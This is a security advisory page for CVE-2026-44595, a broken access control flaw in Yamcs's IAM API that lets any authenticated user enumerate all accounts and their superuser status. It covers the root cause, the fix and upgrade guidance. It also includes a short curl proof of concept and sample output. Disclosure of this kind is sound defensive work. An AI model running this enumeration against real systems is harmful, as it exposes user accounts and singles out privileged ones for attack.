CVE-2026-44595: Yamcs: Unauthorized user enumeration via IAM API endpoints

Published May 27, 2026
·
Updated

Summary

The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.

This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372

listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:

java // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } }

Compare with properly protected endpoints:

java // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present

Impact

Any authenticated user can:

1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts

Proof of Concept

bash Authenticate as any low-privilege user GET accesstoken curl -s -X POST "http://localhost:8090/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "granttype=password&username=lowpriv&password=lowpriv123"

Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" \ -H "Authorization: Bearer $TOKEN" #paste accesstoken

Output (confirmed):

json { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] }

Fix

Add ControlAccess check to listUsers, getUser, listGroups, getGroup:

java public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... }

Other sources

Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.

MITRE

Affected Software

2 affected componentsFixes available
maven/org.yamcs:yamcs-core<5.12.7
5.12.7
Spaceapplications Yamcs<5.12.7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/org.yamcs:yamcs-core to a version that resolves this vulnerability.

    Fixed in 5.12.7
  2. Upgrade

    Upgrade yamcs-core to a version that resolves this vulnerability.

    Fixed in 5.12.7
  3. Upgrade

    Upgrade yamcs-core to a version that resolves this vulnerability.

    Fixed in 5.13.0
  4. Configuration

    Add/ensure `ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess);` is enforced in `listUsers`, `getUser`, `listGroups`, and `getGroup` so these endpoints require `SystemPrivilege.ControlAccess` before returning user/group data.

    Yamcs IAM API (yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java) SystemPrivilege.ControlAccess check enforcement = required

Event History

May 27, 2026
Advisory Published
via GitHub·12:03 AM
Data Sourced
via GitHub·12:03 AM
DescriptionSeverityWeaknessAffected Software
May 30, 2026
Exploit Published
via ExploitDB·12:00 AM
Known Exploited
03:06 PM
Jul 16, 2026
CVE Published
via MITRE·04:02 PM
Data Sourced
via MITRE·04:02 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44595?

CVE-2026-44595 has a medium severity rating of 4.3.

2

How do I fix CVE-2026-44595?

To fix CVE-2026-44595, ensure that the IAM API endpoints enforce the `SystemPrivilege.ControlAccess` check.

3

What are the affected components in CVE-2026-44595?

CVE-2026-44595 affects the IAM API endpoints `listUsers`, `getUser`, `listGroups`, and `getGroup` in `yamcs-core`.

4

What impact does CVE-2026-44595 have on user accounts?

CVE-2026-44595 allows any authenticated user to enumerate all user accounts in the system.

5

Who can exploit CVE-2026-44595?

Any authenticated user, regardless of their privileges, can exploit CVE-2026-44595.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203